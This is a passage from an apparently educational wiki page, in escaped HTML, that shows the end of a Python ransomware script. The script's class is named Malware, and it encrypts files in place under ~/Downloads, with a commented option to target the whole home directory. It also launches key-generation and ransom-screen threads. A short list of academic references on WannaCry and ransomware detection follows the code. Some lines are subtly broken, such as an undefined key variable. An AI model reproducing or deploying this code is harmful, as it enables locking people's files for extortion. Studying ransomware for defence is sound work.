              if not encrypted:&lt;br /&gt;
                  # perform encryption&lt;br /&gt;
                  print()&lt;br /&gt;
                  print(f&amp;quot;File Contents before encryption: {_data}&amp;quot;)&lt;br /&gt;
                  data = self.cryptor.encrypt(_data)&lt;br /&gt;
                  print(f&amp;quot;File contents after encryption: {data}&amp;quot;)&lt;br /&gt;
              else:&lt;br /&gt;
                  # decrypt&lt;br /&gt;
                  data = self.cryptor.decrypt(_data)&lt;br /&gt;
                  print(f&amp;quot;File content before encryption: {data}&amp;quot;)&lt;br /&gt;
              f.seek(0)&lt;br /&gt;
              f.write(data)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
  if __name__ == &amp;quot;__main__&amp;quot;:&lt;br /&gt;
      # sys_root = expanduser(&amp;quot;~&amp;quot;)    # Use to encrypt every folder from root&lt;br /&gt;
      local_root = expanduser(&amp;quot;~/Downloads&amp;quot;)  # Use to encrypt specific folder&lt;br /&gt;
&lt;br /&gt;
      import argparse&lt;br /&gt;
&lt;br /&gt;
      parser = argparse.ArgumentParser()&lt;br /&gt;
      parser.add_argument(&amp;quot;--action&amp;quot;, required=True)&lt;br /&gt;
      parser.add_argument(&amp;quot;--keyfile&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
      args = parser.parse_args()&lt;br /&gt;
      action = args.action.lower()&lt;br /&gt;
      keyfile = args.keyfile&lt;br /&gt;
&lt;br /&gt;
      ransom = Malware()&lt;br /&gt;
&lt;br /&gt;
      if action == &amp;quot;decrypt&amp;quot;:&lt;br /&gt;
          if keyfile is None:&lt;br /&gt;
              print(&amp;quot;Path to key must be specified after --keyfile for decryption&amp;quot;)&lt;br /&gt;
          else:&lt;br /&gt;
              ransom.readKey(key)&lt;br /&gt;
              ransom.encryptRoot(local_root, encrypted=True)&lt;br /&gt;
      elif action == &amp;quot;encrypt&amp;quot;:&lt;br /&gt;
          Thread(target=ransom.generateKey()).start()&lt;br /&gt;
          Thread(target=ransom.mainscreen()).start()&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
* A. Chuquilla, T. Guarda and G. Ninahualpa Quiña, &amp;quot;Ransomware -&lt;br /&gt;
WannaCry Security is everyone&#039;s,&amp;quot; 2019 14th Iberian Conference on&lt;br /&gt;
Information Systems and Technologies (CISTI), Coimbra, Portugal,&lt;br /&gt;
2019, pp. 1-4, doi: 10.23919/CISTI.2019.8760749&lt;br /&gt;
&lt;br /&gt;
* Gonzalez, D. and Hayajneh, T., n.d. Detection And Prevention Of Crypto-Ransomware.&lt;br /&gt;
&lt;br /&gt;
* [https://www.malwarebytes.com/ransomware Malwarebytes - Ransomware]&lt;br /&gt;
&lt;br /&gt;
[[Category:Basic]]&lt;/div&gt;</summary>
		<author><name>JDimmel</name></author>
	</entry>
</feed>